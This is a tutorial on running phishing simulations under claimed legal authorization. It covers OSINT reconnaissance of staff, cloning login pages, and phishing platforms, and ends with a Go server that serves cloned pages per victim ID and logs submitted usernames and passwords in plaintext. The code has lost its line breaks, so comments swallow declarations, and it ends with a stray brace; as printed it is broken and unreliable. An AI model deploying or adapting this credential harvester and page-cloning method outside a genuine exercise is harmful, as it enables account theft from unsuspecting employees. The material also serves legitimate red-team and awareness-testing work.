Under the premise of legal authorization, phishing simulations are a vital means of assessing an organization’s security awareness and defensive capabilities. This article systematically outlines the methodology and practical approach for a standardized, safe, and controlled phishing exercise conducted in 2025, covering information gathering, attack surface analysis, site cloning, platform selection, and data collection.
Legal Disclaimer
The content of this article is intended solely for legal and compliant cybersecurity learning, research, and the enhancement of defensive capabilities. All operations, examples, and technical methods are strictly limited to environments where explicit authorization has been obtained, including but not limited to personal assets, owned systems, lab environments, or target systems with written consent.
It is strictly forbidden to use any techniques discussed herein for unauthorized penetration testing, malicious attacks, data theft, actual phishing, system disruption, or any other illegal activities.
The user assumes all legal liabilities, financial losses, and other consequences arising from the violation of laws or the use of these techniques beyond the scope of authorization. The author and the publishing platform assume no responsibility or association with such actions.
If you cannot confirm whether the target environment is authorized, please cease all related operations immediately.
Types of Phishing
- Social Phishing
Attackers reach out to target employees via commonly used social platforms (IM tools, social media, etc.), impersonating colleagues, partners, or trusted entities. They induce victims to click malicious links, visit fraudulent pages, or download malicious attachments. This type of phishing relies on trust relationships, fabricated emergencies, or incentives. It is highly stealthy and deceptive, often resulting in account compromise or endpoint infection before the victim can verify the sender’s identity.
- Email Phishing (Spear Phishing)
Email phishing is the most prevalent form of social engineering. Attackers send emails disguised as official notifications, business correspondence, financial statements, system alerts, or HR documents. These emails are often highly sophisticated, mimicking real business templates, writing styles, and sender addresses. They often leverage time sensitivity (e.g., “Urgent Action Required” or “Account Suspension Imminent”) to bypass the victim’s vigilance.
How to Execute a Phishing Simulation
In professional security services, phishing exercises evaluate an organization’s resilience against social engineering. Since clients may not always provide a complete user list, the process must begin with Attack Surface Analysis.
I. Information Gathering (Attack Surface Analysis)
Without relying on internal client data, one can utilize Open Source Intelligence (OSINT) to analyze the organization’s public exposure:
(1) Search Engines & Public Records
Search for entity names, public notices, press releases, and official websites to identify:
- Publicly exposed email addresses (e.g., info@, hr@).
- Contact numbers and duty desk lines.
- Combinations of employee names, titles, and contact info.
(2) Corporate Intelligence Platforms
Using platforms like D&B, Crunchbase, or local corporate registries to assess:
- Publicly registered contact details.
- Contact persons listed in bidding and tender announcements.
- Partner and supply chain relationships (potential lateral risk).
(3) Recruitment & Professional Networks
Job boards and professional social networks often inadvertently expose:
- HR/IT/Administrative roles.
- Organizational structures and department names.
- Employee work email naming conventions (e.g., [email protected]).
Site Cloning & Content Risk Assessment
A key question in security drills is: Can employees identify a “high-fidelity” fraudulent page? The focus is not on the “how-to” of cloning, but on:
- Domain Recognition: Can users spot a typo-squatted domain?
- Email Security Policies: Are SPF, DKIM, and DMARC enforced?
- Environmental Cues: Do employees notice abnormal redirects, SSL certificate warnings, or URL discrepancies?
Developing Phishing Pages/Software
In 2025, cloning web pages is technically trivial. One of the simplest ways to mimic an application or portal is by saving the webpage directly via the browser (Ctrl+S).
However, this method often only saves the primary HTML. CSS, JavaScript, and images often still point to the original site or a third-party CDN. Common issues with this “simple” approach include:
- Resource loading failures due to relative paths.
- CORS (Cross-Origin Resource Sharing) policies on the original site blocking assets (403 Forbidden).
- Broken layouts and non-functional interactive features.
Therefore, a proper clone requires downloading all dependencies locally and correcting reference paths to ensure the page renders correctly in an isolated environment.
Phishing Platforms
Once the target list and cloned pages are ready, you need a data collection and management platform. Mature open-source tools like Gophish are widely used.
However, off-the-shelf platforms often have limitations:
- Inability to export raw malicious URLs for manual delivery.
- Rigid data fields or collection logic.
- Limited customization for complex workflows.
For highly customized or sophisticated simulations, developers often perform secondary development on existing platforms or build lightweight, proprietary collection systems. Technically, a web-based simulation is simply the recording and analysis of HTTP request behaviors and data flow.
Sample Collection Code (Go)
The following is a lightweight collector implemented in Go using the Gin framework. It handles UUID-based victim identification and logs data to a local file.
package main
import ( "encoding/json" "fmt" "net" "net/http" "os" "strings" "time"
"github.com/gin-gonic/gin")
// LoginRequest defines the expected JSON structuretype LoginRequest struct { Username string `json:"username" binding:"required"` Password string `json:"password" binding:"required"` Timestamp int64 `json:"timestamp" binding:"required"` UUID string `json:"uuid" binding:"required"`}
const fixedAuthBase64 = "mysecretkey"
// isMobileUA detects mobile devices based on User-Agentfunc isMobileUA(ua string) bool { ua = strings.ToLower(ua) mobileKeywords := []string{"android", "iphone", "ipod", "ipad", "windows phone", "mobile"} for _, kw := range mobileKeywords { if strings.Contains(ua, kw) { return true } } return false}
func main() { r := gin.Default() r.LoadHTMLGlob("templates/*")
r.GET("/page/:uuid", func(c *gin.Context) { uuid := c.Param("uuid") userAgent := c.Request.UserAgent() isMobile := isMobileUA(userAgent) templateName := "desktop.html" if isMobile { templateName = "mobile.html" } c.HTML(http.StatusOK, templateName, gin.H{"UUID": uuid}) })
r.POST("/api/user", loginHandler) r.Run(":30494")}
func loginHandler(c *gin.Context) { // 1. Auth Header Validation if c.GetHeader("Auth") != fixedAuthBase64 { c.JSON(http.StatusUnauthorized, gin.H{"code": 401, "message": "Unauthorized"}) return }
// 2. Parse Request Body var req LoginRequest if err := c.ShouldBindJSON(&req); err != nil { c.JSON(http.StatusBadRequest, gin.H{"code": 400, "message": "Invalid Body"}) return }
// 3. Metadata Collection clientIP := getClientIP(c.Request) userAgent := c.Request.UserAgent() serverTime := time.Now().Format(time.RFC3339)
// 4. Log Construction requestBody, _ := json.MarshalIndent(req, "", " ") logEntry := fmt.Sprintf( "===== Request Log =====\nIP: %s\nUA: %s\nTime: %s\nBody:%s\n========================\n\n", clientIP, userAgent, serverTime, string(requestBody), )
// 5. File Persistence _ = appendToLogFile("./api_logs.txt", logEntry)
c.JSON(http.StatusOK, gin.H{"code": 200, "message": "Logged successfully"})}
func getClientIP(r *http.Request) string { forwardedFor := r.Header.Get("X-Forwarded-For") if forwardedFor != "" { ips := strings.Split(forwardedFor, ",") return strings.TrimSpace(ips[0]) } ip, _, _ := net.SplitHostPort(r.RemoteAddr) return ip}
func appendToLogFile(filePath, content string) error { file, err := os.OpenFile(filePath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644) if err != nil { return err } defer file.Close() _, err = file.WriteString(content) return err}}
